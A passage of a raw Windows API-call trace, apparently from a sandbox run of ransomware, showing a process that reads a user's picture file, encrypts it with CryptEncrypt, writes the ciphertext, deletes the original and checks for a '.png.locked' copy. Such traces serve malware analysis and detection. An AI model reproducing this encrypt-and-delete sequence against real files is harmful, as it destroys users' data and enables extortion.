ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.203] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.204] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.204] ReadFile (in: hFile=0x764, lpBuffer=0x6991db4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6991db4*, lpNumberOfBytesRead=0x99ae7a8*=0xf9ef, lpOverlapped=0x0) returned 1 [0136.204] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69a5dc0*, pdwDataLen=0x99ae79c*=0xf9e0, dwBufLen=0xf9e0 | out: pbData=0x69a5dc0*, pdwDataLen=0x99ae79c*=0xf9e0) returned 1 [0136.204] WriteFile (in: hFile=0x778, lpBuffer=0x698d594*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x698d594*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0136.205] WriteFile (in: hFile=0x778, lpBuffer=0x69a6dac*, nNumberOfBytesToWrite=0xe9f4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69a6dac*, lpNumberOfBytesWritten=0x99ae780*=0xe9f4, lpOverlapped=0x0) returned 1 [0136.206] ReadFile (in: hFile=0x764, lpBuffer=0x6991db4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6991db4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.206] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69b57c4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69b57c4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.207] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69b57f8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69b57f8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.207] WriteFile (in: hFile=0x778, lpBuffer=0x698d594*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x698d594*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0136.207] CloseHandle (hObject=0x778) returned 1 [0136.207] CloseHandle (hObject=0x764) returned 1 [0136.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.207] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.207] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.207] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.207] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.209] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png")) returned 0x20 [0136.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.210] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.210] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.210] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.210] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.210] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.210] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.210] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.211] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.211] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.211] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.211] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.211] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.211] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.211] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.211] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.211] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.211] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.211] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.212] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.212] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.212] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u")) returned 0x10 [0136.212] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u")) returned 0x10 [0136.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U", lpFilePart=0x0) returned 0x4c [0136.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U", lpFilePart=0x0) returned 0x4c [0136.212] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png")) returned 0x20 [0136.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png\\", lpFilePart=0x0) returned 0x62 [0136.213] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.214] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.214] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.214] CoTaskMemFree (pv=0x8eb8d30) [0136.215] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png")) returned 0x20 [0136.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png"), fInfoLevelId=0x0, lpFileInformation=0x69d290c | out: lpFileInformation=0x69d290c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6258f6b0, ftCreationTime.dwHighDateTime=0x1d4aa9a, ftLastAccessTime.dwLowDateTime=0xf7351e60, ftLastAccessTime.dwHighDateTime=0x1d49f84, ftLastWriteTime.dwLowDateTime=0xf7351e60, ftLastWriteTime.dwHighDateTime=0x1d49f84, nFileSizeHigh=0x0, nFileSizeLow=0xf9ef)) returned 1 [0136.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.216] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png")) returned 1 [0136.218] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.218] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.218] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.218] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.218] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.220] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png.locked")) returned 0x20 [0136.220] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png.locked")) returned 0x20 [0136.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked", lpFilePart=0x0) returned 0x68 [0136.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked", lpFilePart=0x0) returned 0x68 [0136.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png", lpFilePart=0x0) returned 0x61 [0136.221] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.221] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.221] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.221] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.223] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.223] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.223] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 